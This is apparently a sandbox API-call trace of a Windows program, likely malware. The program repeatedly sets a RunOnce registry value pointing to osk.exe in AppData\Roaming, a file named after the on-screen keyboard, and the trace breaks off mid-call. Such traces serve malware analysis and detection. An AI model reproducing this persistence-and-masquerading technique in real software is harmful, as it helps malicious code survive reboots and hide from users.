[0255.551] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.551] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.551] RegCloseKey (hKey=0x14c) returned 0x0 [0255.552] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.552] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.562] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.562] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.563] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.563] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.563] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f190 | out: ppvObject=0x624f190*=0x0) returned 0x80004002 [0255.563] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x22 [0255.563] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.563] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x23 [0255.564] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624ae10) returned 0x0 [0255.564] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x22 [0255.564] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.564] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.564] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.564] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.564] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f1b0 | out: ppvObject=0x624f1b0*=0x0) returned 0x80004002 [0255.564] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x23 [0255.564] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x22 [0255.565] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.565] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x22 [0255.565] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624f1c0) returned 0x0 [0255.566] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x21 [0255.566] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.566] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.566] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.567] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.567] RegCloseKey (hKey=0x14c) returned 0x0 [0255.567] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.568] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.578] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.578] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.578] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.579] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.579] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f210 | out: ppvObject=0x624f210*=0x0) returned 0x80004002 [0255.579] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x23 [0255.579] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.579] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x24 [0255.579] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624ae70) returned 0x0 [0255.579] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x23 [0255.580] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.580] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.580] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.580] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.580] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f230 | out: ppvObject=0x624f230*=0x0) returned 0x80004002 [0255.580] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x24 [0255.580] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x23 [0255.580] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.580] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x23 [0255.581] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f240) returned 0x0 [0255.582] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x22 [0255.582] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.582] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.582] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.583] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.583] RegCloseKey (hKey=0x14c) returned 0x0 [0255.583] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.583] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.594] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.594] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.594] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.594] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.594] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f290 | out: ppvObject=0x624f290*=0x0) returned 0x80004002 [0255.594] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x24 [0255.595] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.595] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x25 [0255.595] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624aed0) returned 0x0 [0255.595] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x24 [0255.595] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.595] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.595] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.595] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.595] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f2b0 | out: ppvObject=0x624f2b0*=0x0) returned 0x80004002 [0255.596] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x25 [0255.596] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x24 [0255.596] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.596] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x24 [0255.596] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f2c0) returned 0x0 [0255.597] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x23 [0255.597] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.598] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.598] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: 